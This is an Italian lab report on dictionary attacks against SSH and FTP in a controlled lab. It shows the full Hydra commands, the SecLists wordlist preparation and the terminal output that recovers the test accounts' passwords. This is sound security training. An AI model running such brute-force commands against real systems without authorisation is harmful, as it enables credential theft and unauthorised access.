

REPORT

1. Fase 1: Setup dell'Ambiente e Validazione delle Credenziali SSH

L'obiettivo di questa prima fase è stato la predisposizione di un ambiente di test controllato per simulare un attacco a dizionario (Dictionary Attack) contro il servizio **SSH** (Secure Shell), verificando la robustezza delle credenziali di accesso.

Da terminale è stato creato un utente con una password per testare il funzionamento della hydra in maniera rapida e semplice

```
(kali@kali)-[~]  
$ sudo adduser test_user
```

1.1 Preparazione degli Strumenti di Analisi

È stata utilizzata la suite SecLists, una collezione esaustiva di dizionari di sicurezza, installata tramite il comando:

```
sudo apt install seclists
```

Data la dimensione dei file originali (contenenti milioni di combinazioni), è stato necessario un processo di ottimizzazione tramite filtering per estrarre le credenziali note test_user e testpass. Tale operazione è stata eseguita tramite i seguenti comandi:

- **Estrazione Username:**

```
cat /usr/share/seclists/Username/xato-net-10-million-username.txt | grep "test_user" > users_fase1.txt
```

- **Estrazione Password:**

```
cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep "testpass" > pass_fase1.txt
```

```
(test_user@kali)-[~]  
$ cat /usr/share/seclists/Username/xato-net-10-million-username.txt | grep "test_user" > users_fase1.txt  
(test_user@kali)-[~]  
$ cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep "testpass" > pass_fase1.txt  
(test_user@kali)-[~]
```

1.2 Esecuzione dell'Attacco SSH

La validazione è stata condotta tramite il tool Hydra, configurato per operare sul protocollo SSH della macchina target (192.168.50.102). Il comando utilizzato per l'attacco è stato:

```
hydra -L users_fase1.txt -P pass_fase1.txt 192.168.50.102 -t4 ssh -V
```

L'output del terminale ha confermato l'efficacia del tool, identificando correttamente la coppia di credenziali attraverso la riga di successo:

```
[22][ssh] host: 192.168.50.102 login: test_user password: testpass
```

```

(kali@kali)-[~]
$ hydra -L users_fase1.txt -P pass_fase1.txt 192.168.50.102 -t4 ssh -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 09:41:53
[DATA] max 4 tasks per 1 server, overall 4 tasks, 12 login tries (l:3/p:4), ~3 tries per task
[DATA] attacking ssh://192.168.50.102:22/
[ATTEMPT] target 192.168.50.102 - login "test_user" - pass "testpass" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user" - pass "testpass24" - 2 of 12 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user" - pass "testpass01" - 3 of 12 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user" - pass "mytestpass" - 4 of 12 [child 3] (0/0)
[22][ssh] host: 192.168.50.102 login: test_user password: testpass
[ATTEMPT] target 192.168.50.102 - login "test_user_dmt" - pass "testpass" - 5 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user_dmt" - pass "testpass24" - 6 of 12 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user_dmt" - pass "testpass01" - 7 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user_dmt" - pass "mytestpass" - 8 of 12 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user1" - pass "testpass" - 9 of 12 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user1" - pass "testpass24" - 10 of 12 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user1" - pass "testpass01" - 11 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "test_user1" - pass "mytestpass" - 12 of 12 [child 1] (0/0)
[RE-ATTEMPT] target 192.168.50.102 - login "test_user1" - pass "testpass01" - 12 of 12 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.102 - login "test_user1" - pass "testpass01" - 12 of 12 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.50.102 - login "test_user1" - pass "testpass01" - 12 of 12 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found

```

Questa operazione ha validato con successo la configurazione del servizio SSH e la capacità del sistema di difesa/attacco di gestire correttamente le liste di autenticazione in uno scenario controllato.

FASE 2

Attacco Dictionary Attack su Servizio FTP

L'obiettivo di questa fase è stato testare la resilienza del servizio **FTP** (File Transfer Protocol) attraverso un attacco a dizionario su larga scala, simulando uno scenario in cui le credenziali di accesso non sono note a priori.

2.1 Preparazione del Dataset di Test

Per rendere lo scenario più realistico rispetto alla fase precedente, è stata creata una lista di candidati più ampia. Invece di filtrare per credenziali conosciute, sono stati generati due file di lavoro composti da 50 utenti e 50 password comuni estratti dai database di SecLists, includendo volutamente le credenziali di un nuovo utente creato appositamente per questa nuova fase ovvero : utente_x (utente_pass) inseriti poi all'interno del dataset.

```

(kali@kali)-[~]
$ sudo adduser utente_x
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for utente_x
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y

```

è stato usato head -49 per creare una lista di 50 username e 50 password, anche il comando "echo" è stato usato per stampare sul file il nome dell'username creato e la password creata.

- **Creazione lista Username (50 voci):** `head -n 49 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt > lista_utenti_50.txt echo "utente_x" >> lista_utenti_50.txt`
- **Creazione lista Password (50 voci):** `head -n 49 /usr/share/seclists/Passwords/Common-Credentials/best110.txt > lista_pass_50.txt echo "utente_pass" >> lista_pass_50.txt`

```
head -n 49 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt > lista_utenti_50.txt
echo "utente_x" >> lista_utenti_50.txt
```

```
head -n 49 /usr/share/seclists/Passwords/Common-Credentials/best110.txt > lista_pass_50.txt
echo "utente_pass" >> lista_pass_50.txt
```

2.2 Esecuzione dell'Attacco Automatizzato

L'attacco è stato lanciato contro il servizio FTP (port 21) della macchina target 192.168.50.102 utilizzando il tool Hydra. Il comando eseguito è stato:

`hydra -L lista_utenti_50.txt -P lista_pass_50.txt 192.168.50.102 ftp -V -t 4`

```
(kali@kali)~$ hydra -L lista_utenti_50.txt -P lista_pass_50.txt 192.168.50.102 ftp -V -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 09:22:34
[DATA] max 4 tasks per 1 server, overall 4 tasks, 2500 login tries (l:50/p:50), ~625 tries per task
[DATA] attacking ftp://192.168.50.102/
[ATTEMPT] target 192.168.50.102 - login "info" - pass "000000" - 1 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "111111" - 2 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123123" - 3 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123321" - 4 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "1234" - 5 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "12345" - 6 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123456" - 7 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "1234567" - 8 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "12345678" - 9 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123456789" - 10 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "1234567890" - 11 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123abc" - 12 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "654321" - 13 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "666666" - 14 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "696969" - 15 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "aaaaaa" - 16 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "abc123" - 17 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "alberto" - 18 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "alejandra" - 19 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "alejandro" - 20 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "amanda" - 21 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "andrea" - 22 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "angel" - 23 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "angels" - 24 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "anthony" - 25 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "asdf" - 26 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "asdfasdf" - 27 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "ashley" - 28 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "babygirl" - 29 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "baseball" - 30 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "basketball" - 31 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "beatriz" - 32 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "blahblah" - 33 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "bubbles" - 34 of 2500 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "buster" - 35 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "butterfly" - 36 of 2500 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "carlos" - 37 of 2500 [child 0] (0/0)
```

2.3 Risultati dell'Analisi

L'attacco ha processato un totale di 2.500 combinazioni (50 utenti × 50 password). Il software ha analizzato sistematicamente il dataset fino a identificare correttamente la coppia di credenziali corretta, come confermato dall'output:

[21][ftp] host: 192.168.50.102 login: utente_x password: utente_pass

```
[ATTEMPT] target 192.168.50.102 - login "utente_x" - pass "football" - 2498 of 2500 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "utente_x" - pass "forum" - 2499 of 2500 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "utente_x" - pass "utente_pass" - 2500 of 2500 [child 3] (0/0)
[21][ftp] host: 192.168.50.102 login: utente_x password: utente_pass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 09:57:20
```

Questa fase ha dimostrato come un'infrastruttura, se configurata con credenziali deboli o incluse in dizionari comuni, possa essere compromessa in pochi istanti tramite tecniche di forza bruta automatizzate, sottolineando l'importanza di policy di password complesse e sistemi di protezione contro tentativi ripetuti di login (brute-force protection).